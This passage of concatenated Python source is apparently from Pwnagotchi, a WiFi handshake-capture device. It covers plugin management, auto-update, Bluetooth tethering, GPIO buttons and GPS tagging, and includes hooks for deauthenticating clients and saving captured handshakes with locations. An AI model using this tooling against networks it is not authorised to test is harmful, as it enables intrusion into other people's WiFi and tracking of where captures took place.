'enable': return enable(args, config) elif args.plugincmd == 'disable': return disable(args, config) elif args.plugincmd == 'upgrade': return upgrade(args, config, args.pattern) elif args.plugincmd == 'edit': return edit(args, config) raise NotImplementedError() def edit(args, config): """ Edit the config of the plugin """ plugin = args.name editor = os.environ.get('EDITOR', 'vim') # because vim is the best if plugin not in config['main']['plugins']: return 1 plugin_config = {'main': {'plugins': {plugin: config['main']['plugins'][plugin]}}} import toml from subprocess import call from tempfile import NamedTemporaryFile from pwnagotchi.utils import DottedTomlEncoder new_plugin_config = None with NamedTemporaryFile(suffix=".tmp", mode='r+t') as tmp: tmp.write(toml.dumps(plugin_config, encoder=DottedTomlEncoder())) tmp.flush() rc = call([editor, tmp.name]) if rc != 0: return rc tmp.seek(0) new_plugin_config = toml.load(tmp) config['main']['plugins'][plugin] = new_plugin_config['main']['plugins'][plugin] save_config(config, args.user_config) return 0 def enable(args, config): """ Enables the given plugin and saves the config to disk """ if args.name not in config['main']['plugins']: config['main']['plugins'][args.name] = dict() config['main']['plugins'][args.name]['enabled'] = True save_config(config, args.user_config) return 0 def disable(args, config): """ Disables the given plugin and saves the config to disk """ if args.name not in config['main']['plugins']: config['main']['plugins'][args.name] = dict() config['main']['plugins'][args.name]['enabled'] = False save_config(config, args.user_config) return 0 def upgrade(args, config, pattern='*'): """ Upgrades the given plugin """ available = _get_available() installed = _get_installed(config) for plugin, filename in installed.items(): if not fnmatch(plugin, pattern) or plugin not in available: continue available_version = _extract_version(available[plugin]) installed_version = _extract_version(filename) if installed_version and available_version: if available_version <= installed_version: continue else: continue logging.info('Upgrade %s from %s to %s', plugin, '.'.join(installed_version), '.'.join(available_version)) shutil.copyfile(available[plugin], installed[plugin]) # maybe has config for conf in glob.glob(available[plugin].replace('.py', '.y?ml')): dst = os.path.join(os.path.dirname(installed[plugin]), os.path.basename(conf)) if os.path.exists(dst) and md5(dst) != md5(conf): # backup logging.info('Backing up config: %s', os.path.basename(conf)) shutil.move(dst, dst + '.bak') shutil.copyfile(conf, dst) return 0 def list_plugins(args, config, pattern='*'): """ Lists the available and installed plugins """ found = False line = "|{name:^{width}}|{version:^9}|{enabled:^10}|{status:^15}|" available = _get_available() installed = _get_installed(config) available_and_installed = set(list(available.keys()) + list(installed.keys())) available_not_installed = set(available.keys()) - set(installed.keys()) max_len_list = available_and_installed if args.installed else available_not_installed max_len = max(map(len, max_len_list)) header = line.format(name='Plugin', width=max_len, version='Version', enabled='Active', status='Status') line_length = max(max_len, len('Plugin')) + len(header) - len('Plugin') - 12 # lol print('-' * line_length) print(header) print('-' * line_length) if args.installed: # only installed (maybe update available?) for plugin, filename in sorted(installed.items()): if not fnmatch(plugin, pattern): continue found = True installed_version = _extract_version(filename) available_version = None if plugin in available: available_version = _extract_version(available[plugin]) status = "installed" if installed_version and available_version: if available_version > installed_version: status = "installed (^)" enabled = 'enabled' if plugin in config['main']['plugins'] and \ 'enabled' in config['main']['plugins'][plugin] and \ config['main']['plugins'][plugin]['enabled'] \ else 'disabled' print(line.format(name=plugin, width=max_len, version='.'.join(installed_version), enabled=enabled, status=status)) for plugin in sorted(available_not_installed): if not fnmatch(plugin, pattern): continue found = True available_version = _extract_version(available[plugin]) print(line.format(name=plugin, width=max_len, version='.'.join(available_version), enabled='-', status='available')) print('-' * line_length) if not found: logging.info('Maybe try: pwnagotchi plugins update') return 1 return 0 def _extract_version(filename): """ Extracts the version from a python file """ plugin_content = open(filename, 'rt').read() m = re.search(r'__version__[\t ]*=[\t ]*[\'\"]([^\"\']+)', plugin_content) if m: return parse_version(m.groups()[0]) return None def _get_available(): """ Get all availaible plugins """ available = dict() for filename in glob.glob(os.path.join(SAVE_DIR, "*.py")): plugin_name = os.path.basename(filename.replace(".py", "")) available[plugin_name] = filename return available def _get_installed(config): """ Get all installed plugins """ installed = dict() search_dirs = [ default_path, config['main']['custom_plugins'] ] for search_dir in search_dirs: if search_dir: for filename in glob.glob(os.path.join(search_dir, "*.py")): plugin_name = os.path.basename(filename.replace(".py", "")) installed[plugin_name] = filename return installed def uninstall(args, config): """ Uninstalls a plugin """ plugin_name = args.name installed = _get_installed(config) if plugin_name not in installed: logging.error('Plugin %s is not installed.', plugin_name) return 1 os.remove(installed[plugin_name]) return 0 def install(args, config): """ Installs the given plugin """ global DEFAULT_INSTALL_PATH plugin_name = args.name available = _get_available() installed = _get_installed(config) if plugin_name not in available: logging.error('%s not found.', plugin_name) return 1 if plugin_name in installed: logging.error('%s already installed.', plugin_name) # install into custom_plugins path install_path = config['main']['custom_plugins'] if not install_path: install_path = DEFAULT_INSTALL_PATH config['main']['custom_plugins'] = install_path save_config(config, args.user_config) os.makedirs(install_path, exist_ok=True) shutil.copyfile(available[plugin_name], os.path.join(install_path, os.path.basename(available[plugin_name]))) # maybe has config for conf in glob.glob(available[plugin_name].replace('.py', '.y?ml')): dst = os.path.join(install_path, os.path.basename(conf)) if os.path.exists(dst) and md5(dst) != md5(conf): # backup logging.info('Backing up config: %s', os.path.basename(conf)) shutil.move(dst, dst + '.bak') shutil.copyfile(conf, dst) return 0 def _analyse_dir(path): results = dict() path += '*' if path.endswith('/') else '/*' for filename in glob.glob(path, recursive=True): if not os.path.isfile(filename): continue try: results[filename] = md5(filename) except OSError: continue return results def update(config): """ Updates the database """ global SAVE_DIR urls = config['main']['custom_plugin_repos'] if not urls: logging.info('No plugin repositories configured.') return 1 rc = 0 for idx, REPO_URL in enumerate(urls): DEST = os.path.join(SAVE_DIR, 'plugins%d.zip' % idx) logging.info('Downloading plugins from %s to %s', REPO_URL, DEST) try: os.makedirs(SAVE_DIR, exist_ok=True) before_update = _analyse_dir(SAVE_DIR) download_file(REPO_URL, os.path.join(SAVE_DIR, DEST)) logging.info('Unzipping...') unzip(DEST, SAVE_DIR, strip_dirs=1) after_update = _analyse_dir(SAVE_DIR) b_len = len(before_update) a_len = len(after_update) if a_len > b_len: logging.info('Found %d new file(s).', a_len - b_len) changed = 0 for filename, filehash in after_update.items(): if filename in before_update and filehash != before_update[filename]: changed += 1 if changed: logging.info('%d file(s) were changed.', changed) except Exception as ex: logging.error('Error while updating plugins: %s', ex) rc = 1 return rc ================================================ FILE: pwnagotchi/plugins/default/auto-update.py ================================================ import os import re import logging import subprocess import requests import platform import shutil import glob from threading import Lock import pwnagotchi import pwnagotchi.plugins as plugins from pwnagotchi.utils import StatusFile, parse_version as version_to_tuple def check(version, repo, native=True): logging.debug("checking remote version for %s, local is %s" % (repo, version)) info = { 'repo': repo, 'current': version, 'available': None, 'url': None, 'native': native, 'arch': platform.machine() } resp = requests.get("https://api.github.com/repos/%s/releases/latest" % repo) latest = resp.json() info['available'] = latest_ver = latest['tag_name'].replace('v', '') is_arm = info['arch'].startswith('arm') local = version_to_tuple(info['current']) remote = version_to_tuple(latest_ver) if remote > local: if not native: info['url'] = "https://github.com/%s/archive/%s.zip" % (repo, latest['tag_name']) else: # check if this release is compatible with arm6 for asset in latest['assets']: download_url = asset['browser_download_url'] if download_url.endswith('.zip') and ( info['arch'] in download_url or (is_arm and 'armhf' in download_url)): info['url'] = download_url break return info def make_path_for(name): path = os.path.join("/tmp/updates/", name) if os.path.exists(path): logging.debug("[update] deleting %s" % path) shutil.rmtree(path, ignore_errors=True, onerror=None) os.makedirs(path) return path def download_and_unzip(name, path, display, update): target = "%s_%s.zip" % (name, update['available']) target_path = os.path.join(path, target) logging.info("[update] downloading %s to %s ..." % (update['url'], target_path)) display.update(force=True, new_data={'status': 'Downloading %s %s ...' % (name, update['available'])}) os.system('wget -q "%s" -O "%s"' % (update['url'], target_path)) logging.info("[update] extracting %s to %s ..." % (target_path, path)) display.update(force=True, new_data={'status': 'Extracting %s %s ...' % (name, update['available'])}) os.system('unzip "%s" -d "%s"' % (target_path, path)) def verify(name, path, source_path, display, update): display.update(force=True, new_data={'status': 'Verifying %s %s ...' % (name, update['available'])}) checksums = glob.glob("%s/*.sha256" % path) if len(checksums) == 0: if update['native']: logging.warning("[update] native update without SHA256 checksum file") return False else: checksum = checksums[0] logging.info("[update] verifying %s for %s ..." % (checksum, source_path)) with open(checksum, 'rt') as fp: expected = fp.read().split('=')[1].strip().lower() real = subprocess.getoutput('sha256sum "%s"' % source_path).split(' ')[0].strip().lower() if real != expected: logging.warning("[update] checksum mismatch for %s: expected=%s got=%s" % (source_path, expected, real)) return False return True def install(display, update): name = update['repo'].split('/')[1] path = make_path_for(name) download_and_unzip(name, path, display, update) source_path = os.path.join(path, name) if not verify(name, path, source_path, display, update): return False logging.info("[update] installing %s ..." % name) display.update(force=True, new_data={'status': 'Installing %s %s ...' % (name, update['available'])}) if update['native']: dest_path = subprocess.getoutput("which %s" % name) if dest_path == "": logging.warning("[update] can't find path for %s" % name) return False logging.info("[update] stopping %s ..." % update['service']) os.system("service %s stop" % update['service']) os.system("mv %s %s" % (source_path, dest_path)) logging.info("[update] restarting %s ..." % update['service']) os.system("service %s start" % update['service']) else: if not os.path.exists(source_path): source_path = "%s-%s" % (source_path, update['available']) # setup.py is going to install data files for us os.system("cd %s && pip3 install ." % source_path) return True def parse_version(cmd): out = subprocess.getoutput(cmd) for part in out.split(' '): part = part.replace('v', '').strip() if re.search(r'^\d+\.\d+\.\d+.*$', part): return part raise Exception('could not parse version from "%s": output=\n%s' % (cmd, out)) class AutoUpdate(plugins.Plugin): __author__ = 'evilsocket@gmail.com' __version__ = '1.1.1' __name__ = 'auto-update' __license__ = 'GPL3' __description__ = 'This plugin checks when updates are available and applies them when internet is available.' def __init__(self): self.ready = False self.status = StatusFile('/root/.auto-update') self.lock = Lock() def on_loaded(self): if 'interval' not in self.options or ('interval' in self.options and not self.options['interval']): logging.error("[update] main.plugins.auto-update.interval is not set") return self.ready = True logging.info("[update] plugin loaded.") def on_internet_available(self, agent): if self.lock.locked(): return with self.lock: logging.debug("[update] internet connectivity is available (ready %s)" % self.ready) if not self.ready: return if self.status.newer_then_hours(self.options['interval']): logging.debug("[update] last check happened less than %d hours ago" % self.options['interval']) return logging.info("[update] checking for updates ...") display = agent.view() prev_status = display.get('status') try: display.update(force=True, new_data={'status': 'Checking for updates ...'}) to_install = [] to_check = [ ('bettercap/bettercap', parse_version('bettercap -version'), True, 'bettercap'), ('evilsocket/pwngrid', parse_version('pwngrid -version'), True, 'pwngrid-peer'), ('evilsocket/pwnagotchi', pwnagotchi.__version__, False, 'pwnagotchi') ] for repo, local_version, is_native, svc_name in to_check: info = check(local_version, repo, is_native) if info['url'] is not None: logging.warning( "update for %s available (local version is '%s'): %s" % ( repo, info['current'], info['url'])) info['service'] = svc_name to_install.append(info) num_updates = len(to_install) num_installed = 0 if num_updates > 0: if self.options['install']: for update in to_install: plugins.on('updating') if install(display, update): num_installed += 1 else: prev_status = '%d new update%c available!' % (num_updates, 's' if num_updates > 1 else '') logging.info("[update] done") self.status.update() if num_installed > 0: display.update(force=True, new_data={'status': 'Rebooting ...'}) pwnagotchi.reboot() except Exception as e: logging.error("[update] %s" % e) display.update(force=True, new_data={'status': prev_status if prev_status is not None else ''}) ================================================ FILE: pwnagotchi/plugins/default/bt-tether.py ================================================ import logging import os import subprocess import time from threading import Lock import dbus import pwnagotchi.plugins as plugins import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.components import LabeledValue from pwnagotchi.ui.view import BLACK from pwnagotchi.utils import StatusFile class BTError(Exception): """ Custom bluetooth exception """ pass class BTNap: """ This class creates a bluetooth connection to the specified bt-mac see https://github.com/bablokb/pi-btnap/blob/master/files/usr/local/sbin/btnap.service.py """ IFACE_BASE = 'org.bluez' IFACE_DEV = 'org.bluez.Device1' IFACE_ADAPTER = 'org.bluez.Adapter1' IFACE_PROPS = 'org.freedesktop.DBus.Properties' def __init__(self, mac): self._mac = mac @staticmethod def get_bus(): """ Get systembus obj """ bus = getattr(BTNap.get_bus, 'cached_obj', None) if not bus: bus = BTNap.get_bus.cached_obj = dbus.SystemBus() return bus @staticmethod def get_manager(): """ Get manager obj """ manager = getattr(BTNap.get_manager, 'cached_obj', None) if not manager: manager = BTNap.get_manager.cached_obj = dbus.Interface( BTNap.get_bus().get_object(BTNap.IFACE_BASE, '/'), 'org.freedesktop.DBus.ObjectManager') return manager @staticmethod def prop_get(obj, k, iface=None): """ Get a property of the obj """ if iface is None: iface = obj.dbus_interface return obj.Get(iface, k, dbus_interface=BTNap.IFACE_PROPS) @staticmethod def prop_set(obj, k, v, iface=None): """ Set a property of the obj """ if iface is None: iface = obj.dbus_interface return obj.Set(iface, k, v, dbus_interface=BTNap.IFACE_PROPS) @staticmethod def find_adapter(pattern=None): """ Find the bt adapter """ return BTNap.find_adapter_in_objects(BTNap.get_manager().GetManagedObjects(), pattern) @staticmethod def find_adapter_in_objects(objects, pattern=None): """ Finds the obj with a pattern """ bus, obj = BTNap.get_bus(), None for path, ifaces in objects.items(): adapter = ifaces.get(BTNap.IFACE_ADAPTER) if adapter is None: continue if not pattern or pattern == adapter['Address'] or path.endswith(pattern): obj = bus.get_object(BTNap.IFACE_BASE, path) yield dbus.Interface(obj, BTNap.IFACE_ADAPTER) if obj is None: raise BTError('Bluetooth adapter not found') @staticmethod def find_device(device_address, adapter_pattern=None): """ Finds the device """ return BTNap.find_device_in_objects(BTNap.get_manager().GetManagedObjects(), device_address, adapter_pattern) @staticmethod def find_device_in_objects(objects, device_address, adapter_pattern=None): """ Finds the device in objects """ bus = BTNap.get_bus() path_prefix = '' if adapter_pattern: if not isinstance(adapter_pattern, str): adapter = adapter_pattern else: adapter = BTNap.find_adapter_in_objects(objects, adapter_pattern) path_prefix = adapter.object_path for path, ifaces in objects.items(): device = ifaces.get(BTNap.IFACE_DEV) if device is None: continue if str(device['Address']).lower() == device_address.lower() and path.startswith(path_prefix): obj = bus.get_object(BTNap.IFACE_BASE, path) return dbus.Interface(obj, BTNap.IFACE_DEV) raise BTError('Bluetooth device not found') def power(self, on=True): """ Set power of devices to on/off """ logging.debug("BT-TETHER: Changing bluetooth device to %s", str(on)) try: devs = list(BTNap.find_adapter()) devs = dict((BTNap.prop_get(dev, 'Address'), dev) for dev in devs) except BTError as bt_err: logging.error(bt_err) return None for dev_addr, dev in devs.items(): BTNap.prop_set(dev, 'Powered', on) logging.debug('Set power of %s (addr %s) to %s', dev.object_path, dev_addr, str(on)) if devs: return list(devs.values())[0] return None def is_paired(self): """ Check if already connected """ logging.debug("BT-TETHER: Checking if device is paired") bt_dev = self.power(True) if not bt_dev: logging.debug("BT-TETHER: No bluetooth device found.") return False try: dev_remote = BTNap.find_device(self._mac, bt_dev) return bool(BTNap.prop_get(dev_remote, 'Paired')) except BTError: logging.debug("BT-TETHER: Device is not paired.") return False def wait_for_device(self, timeout=15): """ Wait for device returns device if found None if not """ logging.debug("BT-TETHER: Waiting for device") bt_dev = self.power(True) if not bt_dev: logging.debug("BT-TETHER: No bluetooth device found.") return None try: logging.debug("BT-TETHER: Starting discovery ...") bt_dev.StartDiscovery() except Exception as bt_ex: logging.error(bt_ex) raise bt_ex dev_remote = None # could be set to 0, so check if > -1 while timeout > -1: try: dev_remote = BTNap.find_device(self._mac, bt_dev) logging.debug("BT-TETHER: Using remote device (addr: %s): %s", BTNap.prop_get(dev_remote, 'Address'), dev_remote.object_path) break except BTError: logging.debug("BT-TETHER: Not found yet ...") time.sleep(1) timeout -= 1 try: logging.debug("BT-TETHER: Stopping Discovery ...") bt_dev.StopDiscovery() except Exception as bt_ex: logging.error(bt_ex) raise bt_ex return dev_remote @staticmethod def pair(device): logging.debug('BT-TETHER: Trying to pair ...') try: device.Pair() logging.debug('BT-TETHER: Successful paired with device ;)') return True except dbus.exceptions.DBusException as err: if err.get_dbus_name() == 'org.bluez.Error.AlreadyExists': logging.debug('BT-TETHER: Already paired ...') return True except Exception: pass return False @staticmethod def nap(device): logging.debug('BT-TETHER: Trying to nap ...') try: logging.debug('BT-TETHER: Connecting to profile ...') device.ConnectProfile('nap') except Exception: # raises exception, but still works pass net = dbus.Interface(device, 'org.bluez.Network1') try: logging.debug('BT-TETHER: Connecting to nap network ...') net.Connect('nap') return net, True except dbus.exceptions.DBusException as err: if err.get_dbus_name() == 'org.bluez.Error.AlreadyConnected': return net, True connected = BTNap.prop_get(net, 'Connected') if not connected: return None, False return net, True class SystemdUnitWrapper: """ systemd wrapper """ def __init__(self, unit): self.unit = unit @staticmethod def _action_on_unit(action, unit): process = subprocess.Popen(f"systemctl {action} {unit}", shell=True, stdin=None, stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash") process.wait() if process.returncode > 0: return False return True @staticmethod def daemon_reload(): """ Calls systemctl daemon-reload """ process = subprocess.Popen("systemctl daemon-reload", shell=True, stdin=None, stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash") process.wait() if process.returncode > 0: return False return True def is_active(self): """ Checks if unit is active """ return SystemdUnitWrapper._action_on_unit('is-active', self.unit) def is_enabled(self): """ Checks if unit is enabled """ return SystemdUnitWrapper._action_on_unit('is-enabled', self.unit) def is_failed(self): """ Checks if unit is failed """ return SystemdUnitWrapper._action_on_unit('is-failed', self.unit) def enable(self): """ Enables the unit """ return SystemdUnitWrapper._action_on_unit('enable', self.unit) def disable(self): """ Disables the unit """ return SystemdUnitWrapper._action_on_unit('disable', self.unit) def start(self): """ Starts the unit """ return SystemdUnitWrapper._action_on_unit('start', self.unit) def stop(self): """ Stops the unit """ return SystemdUnitWrapper._action_on_unit('stop', self.unit) def restart(self): """ Restarts the unit """ return SystemdUnitWrapper._action_on_unit('restart', self.unit) class IfaceWrapper: """ Small wrapper to check and manage ifaces see: https://github.com/rlisagor/pynetlinux/blob/master/pynetlinux/ifconfig.py """ def __init__(self, iface): self.iface = iface self.path = f"/sys/class/net/{iface}" def exists(self): """ Checks if iface exists """ return os.path.exists(self.path) def is_up(self): """ Checks if iface is ip """ return open(f"{self.path}/operstate", 'r').read().rsplit('\n') == 'up' def set_addr(self, addr): """ Set the netmask """ process = subprocess.Popen(f"ip addr add {addr} dev {self.iface}", shell=True, stdin=None, stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash") process.wait() if process.returncode == 2 or process.returncode == 0: # 2 = already set return True return False @staticmethod def set_route(gateway, device): process = subprocess.Popen(f"ip route replace default via {gateway} dev {device}", shell=True, stdin=None, stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash") process.wait() if process.returncode > 0: return False return True class Device: def __init__(self, name, share_internet, mac, ip, netmask, interval, gateway=None, priority=10, scantime=15, search_order=0, max_tries=0, **kwargs): self.name = name self.status = StatusFile(f'/root/.bt-tether-{name}') self.status.update() self.tries = 0 self.network = None self.max_tries = max_tries self.search_order = search_order self.share_internet = share_internet self.ip = ip self.netmask = netmask self.gateway = gateway self.interval = interval self.mac = mac self.scantime = scantime self.priority = priority def connected(self): """ Checks if device is connected """ return self.network and BTNap.prop_get(self.network, 'Connected') def interface(self): """ Returns the interface name or None """ if not self.connected(): return None return BTNap.prop_get(self.network, 'Interface') class BTTether(plugins.Plugin): __author__ = '33197631+dadav@users.noreply.github.com' __version__ = '1.1.0' __license__ = 'GPL3' __description__ = 'This makes the display reachable over bluetooth' def __init__(self): self.ready = False self.options = dict() self.devices = dict() self.lock = Lock() self.running = True self.status = '-' def on_loaded(self): # new config if 'devices' in self.options: for device, options in self.options['devices'].items(): if 'enabled' in options and options['enabled']: for device_opt in ['enabled', 'priority', 'scantime', 'search_order', 'max_tries', 'share_internet', 'mac', 'ip', 'netmask', 'interval']: if device_opt not in options or options[device_opt] is None: logging.error("BT-TETHER: Please specify the %s for device %s.", device_opt, device) break else: if options['enabled']: self.devices[device] = Device(name=device, **options) # legacy if 'mac' in self.options: for opt in ['share_internet', 'mac', 'ip', 'netmask', 'interval']: if opt not in self.options or self.options[opt] is None: logging.error("BT-TETHER: Please specify the %s in your config.toml.", opt) return self.devices['legacy'] = Device(name='legacy', **self.options) if not self.devices: logging.error("BT-TETHER: No valid devices found") return # ensure bluetooth is running bt_unit = SystemdUnitWrapper('bluetooth.service') if not bt_unit.is_active(): if not bt_unit.start(): logging.error("BT-TETHER: Can't start bluetooth.service") return logging.info("BT-TETHER: Successfully loaded ...") while self.running: time.sleep(1) devices_to_try = list() connected_priorities = list() any_device_connected = False # if this is true, last status on screen should be C for _, device in self.devices.items(): if device.connected(): connected_priorities.append(device.priority) any_device_connected = True continue if not device.max_tries or (device.max_tries > device.tries): if not device.status.newer_then_minutes(device.interval): devices_to_try.append(device) device.status.update() device.tries += 1 sorted_devices = sorted(devices_to_try, key=lambda x: x.search_order) for device in sorted_devices: bt = BTNap(device.mac) try: logging.debug('BT-TETHER: Search %d secs for %s ...', device.scantime, device.name) dev_remote = bt.wait_for_device(timeout=device.scantime) if dev_remote is None: logging.debug('BT-TETHER: Could not find %s, try again in %d minutes.', device.name, device.interval) self.status = 'NF' continue except Exception as bt_ex: logging.error(bt_ex) self.status = 'NF' continue paired = bt.is_paired() if not paired: if BTNap.pair(dev_remote): logging.debug('BT-TETHER: Paired with %s.', device.name) else: logging.debug('BT-TETHER: Pairing with %s failed ...', device.name) self.status = 'PE' continue else: logging.debug('BT-TETHER: Already paired.') logging.debug('BT-TETHER: Try to create nap connection with %s ...', device.name) device.network, success = BTNap.nap(dev_remote) interface = None if success: try: interface = device.interface() except Exception: logging.debug('BT-TETHER: Could not establish nap connection with %s', device.name) continue if interface is None: self.status = 'BE' logging.debug('BT-TETHER: Could not establish nap connection with %s', device.name) continue logging.debug('BT-TETHER: Created interface (%s)', interface) self.status = 'C' any_device_connected = True device.tries = 0 # reset tries else: logging.debug('BT-TETHER: Could not establish nap connection with %s', device.name) self.status = 'NF' continue addr = f"{device.ip}/{device.netmask}" if device.gateway: gateway = device.gateway else: gateway = ".".join(device.ip.split('.')[:-1] + ['1']) wrapped_interface = IfaceWrapper(interface) logging.debug('BT-TETHER: Add ip to %s', interface) if not wrapped_interface.set_addr(addr): self.status = 'AE' logging.debug("BT-TETHER: Could not add ip to %s", interface) continue if device.share_internet: if not connected_priorities or device.priority > max(connected_priorities): logging.debug('BT-TETHER: Set default route to %s via %s', gateway, interface) IfaceWrapper.set_route(gateway, interface) connected_priorities.append(device.priority) logging.debug('BT-TETHER: Change resolv.conf if necessary ...') with open('/etc/resolv.conf', 'r+') as resolv: nameserver = resolv.read() if 'nameserver 9.9.9.9' not in nameserver: logging.debug('BT-TETHER: Added nameserver') resolv.seek(0) resolv.write(nameserver + 'nameserver 9.9.9.9\n') if any_device_connected: self.status = 'C' def on_unload(self, ui): self.running = False with ui._lock: ui.remove_element('bluetooth') def on_ui_setup(self, ui): with ui._lock: ui.add_element('bluetooth', LabeledValue(color=BLACK, label='BT', value='-', position=(ui.width() / 2 - 15, 0), label_font=fonts.Bold, text_font=fonts.Medium)) def on_ui_update(self, ui): ui.set('bluetooth', self.status) ================================================ FILE: pwnagotchi/plugins/default/example.py ================================================ import logging import pwnagotchi.plugins as plugins from pwnagotchi.ui.components import LabeledValue from pwnagotchi.ui.view import BLACK import pwnagotchi.ui.fonts as fonts class Example(plugins.Plugin): __author__ = 'evilsocket@gmail.com' __version__ = '1.0.0' __license__ = 'GPL3' __description__ = 'An example plugin for pwnagotchi that implements all the available callbacks.' def __init__(self): logging.debug("example plugin created") # called when http://:/plugins// is called # must return a html page # IMPORTANT: If you use "POST"s, add a csrf-token (via csrf_token() and render_template_string) def on_webhook(self, path, request): pass # called when the plugin is loaded def on_loaded(self): logging.warning("WARNING: this plugin should be disabled! options = " % self.options) # called before the plugin is unloaded def on_unload(self, ui): pass # called hen there's internet connectivity def on_internet_available(self, agent): pass # called to setup the ui elements def on_ui_setup(self, ui): # add custom UI elements ui.add_element('ups', LabeledValue(color=BLACK, label='UPS', value='0%/0V', position=(ui.width() / 2 - 25, 0), label_font=fonts.Bold, text_font=fonts.Medium)) # called when the ui is updated def on_ui_update(self, ui): # update those elements some_voltage = 0.1 some_capacity = 100.0 ui.set('ups', "%4.2fV/%2i%%" % (some_voltage, some_capacity)) # called when the hardware display setup is done, display is an hardware specific object def on_display_setup(self, display): pass # called when everything is ready and the main loop is about to start def on_ready(self, agent): logging.info("unit is ready") # you can run custom bettercap commands if you want # agent.run('ble.recon on') # or set a custom state # agent.set_bored() # called when the AI finished loading def on_ai_ready(self, agent): pass # called when the AI finds a new set of parameters def on_ai_policy(self, agent, policy): pass # called when the AI starts training for a given number of epochs def on_ai_training_start(self, agent, epochs): pass # called after the AI completed a training epoch def on_ai_training_step(self, agent, _locals, _globals): pass # called when the AI has done training def on_ai_training_end(self, agent): pass # called when the AI got the best reward so far def on_ai_best_reward(self, agent, reward): pass # called when the AI got the worst reward so far def on_ai_worst_reward(self, agent, reward): pass # called when a non overlapping wifi channel is found to be free def on_free_channel(self, agent, channel): pass # called when the status is set to bored def on_bored(self, agent): pass # called when the status is set to sad def on_sad(self, agent): pass # called when the status is set to excited def on_excited(self, agent): pass # called when the status is set to lonely def on_lonely(self, agent): pass # called when the agent is rebooting the board def on_rebooting(self, agent): pass # called when the agent is waiting for t seconds def on_wait(self, agent, t): pass # called when the agent is sleeping for t seconds def on_sleep(self, agent, t): pass # called when the agent refreshed its access points list def on_wifi_update(self, agent, access_points): pass # called when the agent refreshed an unfiltered access point list # this list contains all access points that were detected BEFORE filtering def on_unfiltered_ap_list(self, agent, access_points): pass # called when the agent is sending an association frame def on_association(self, agent, access_point): pass # called when the agent is deauthenticating a client station from an AP def on_deauthentication(self, agent, access_point, client_station): pass # callend when the agent is tuning on a specific channel def on_channel_hop(self, agent, channel): pass # called when a new handshake is captured, access_point and client_station are json objects # if the agent could match the BSSIDs to the current list, otherwise they are just the strings of the BSSIDs def on_handshake(self, agent, filename, access_point, client_station): pass # called when an epoch is over (where an epoch is a single loop of the main algorithm) def on_epoch(self, agent, epoch, epoch_data): pass # called when a new peer is detected def on_peer_detected(self, agent, peer): pass # called when a known peer is lost def on_peer_lost(self, agent, peer): pass ================================================ FILE: pwnagotchi/plugins/default/gpio_buttons.py ================================================ import logging import RPi.GPIO as GPIO import subprocess import pwnagotchi.plugins as plugins class GPIOButtons(plugins.Plugin): __author__ = 'ratmandu@gmail.com' __version__ = '1.0.0' __license__ = 'GPL3' __description__ = 'GPIO Button support plugin' def __init__(self): self.running = False self.ports = {} self.commands = None def runCommand(self, channel): command = self.ports[channel] logging.info(f"Button Pressed! Running command: {command}") process = subprocess.Popen(command, shell=True, stdin=None, stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash") process.wait() def on_loaded(self): logging.info("GPIO Button plugin loaded.") # get list of GPIOs gpios = self.options['gpios'] # set gpio numbering GPIO.setmode(GPIO.BCM) for gpio, command in gpios.items(): gpio = int(gpio) self.ports[gpio] = command GPIO.setup(gpio, GPIO.IN, GPIO.PUD_UP) GPIO.add_event_detect(gpio, GPIO.FALLING, callback=self.runCommand, bouncetime=600) logging.info("Added command: %s to GPIO #%d", command, gpio) ================================================ FILE: pwnagotchi/plugins/default/gps.py ================================================ import json import logging import os import pwnagotchi.plugins as plugins import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.components import LabeledValue from pwnagotchi.ui.view import BLACK class GPS(plugins.Plugin): __author__ = "evilsocket@gmail.com" __version__ = "1.0.1" __license__ = "GPL3" __description__ = "Save GPS coordinates whenever an handshake is captured." LINE_SPACING = 10 LABEL_SPACING = 0 def __init__(self): self.running = False self.coordinates = None def on_loaded(self): logging.info(f"gps plugin loaded for {self.options['device']}") def on_ready(self, agent): if os.path.exists(self.options["device"]): logging.info( f"enabling bettercap's gps module for {self.options['device']}" ) try: agent.run("gps off") except Exception: logging.info(f"bettercap gps module was already off") pass agent.run(f"set gps.device {self.options['device']}") agent.run(f"set gps.baudrate {self.options['speed']}") agent.run("gps on") logging.info(f"bettercap gps module enabled on {self.options['device']}") self.running = True else: logging.warning("no GPS detected") def on_handshake(self, agent, filename, access_point, client_station): if self.running: info = agent.session() self.coordinates = info["gps"] gps_filename = filename.replace(".pcap", ".gps.json") if self.coordinates and all([ # avoid 0.000... measurements self.coordinates["Latitude"], self.coordinates["Longitude"] ]): logging.info(f"saving GPS to {gps_filename} ({self.coordinates})") with open(gps_filename, "w+t") as fp: json.dump(self.coordinates, fp) else: logging.info("not saving GPS. Couldn't find location.") def on_ui_setup(self, ui): try: # Configure line_spacing line_spacing = int(self.options['linespacing']) except Exception: # Set default value line_spacing = self.LINE_SPACING try: # Configure position pos = self.options['position'].split(',') pos = [int(x.strip()) for x in pos] lat_pos = (pos[0] + 5, pos[1]) lon_pos = (pos[0], pos[1] + line_spacing) alt_pos = (pos[0] + 5, pos[1] + (2 * line_spacing)) except Exception: # Set default value based on display type if ui.is_waveshare_v2(): lat_pos = (127, 74) lon_pos = (122, 84) alt_pos = (127, 94) elif ui.is_waveshare_v1(): lat_pos = (130, 70) lon_pos = (125, 80) alt_pos = (130, 90) elif ui.is_inky(): lat_pos = (127, 60) lon_pos = (122, 70) alt_pos = (127, 80) elif ui.is_waveshare144lcd(): # guessed values, add tested ones if you can lat_pos = (67, 73) lon_pos = (62, 83) alt_pos = (67, 93) elif ui.is_dfrobot_v2(): lat_pos = (127, 74) lon_pos = (122, 84) alt_pos = (127, 94) elif ui.is_waveshare27inch(): lat_pos = (6, 120) lon_pos = (1, 135) alt_pos = (6, 150) else: # guessed values, add tested ones if you can lat_pos = (127, 51) lon_pos = (122, 61) alt_pos = (127, 71) ui.add_element( "latitude", LabeledValue( color=BLACK, label="lat:", value="-", position=lat_pos, label_font=fonts.Small, text_font=fonts.Small, label_spacing=self.LABEL_SPACING, ), ) ui.add_element( "longitude", LabeledValue( color=BLACK, label="long:", value="-", position=lon_pos, label_font=fonts.Small, text_font=fonts.Small, label_spacing=self.LABEL_SPACING, ), ) ui.add_element( "altitude", LabeledValue( color=BLACK, label="alt:", 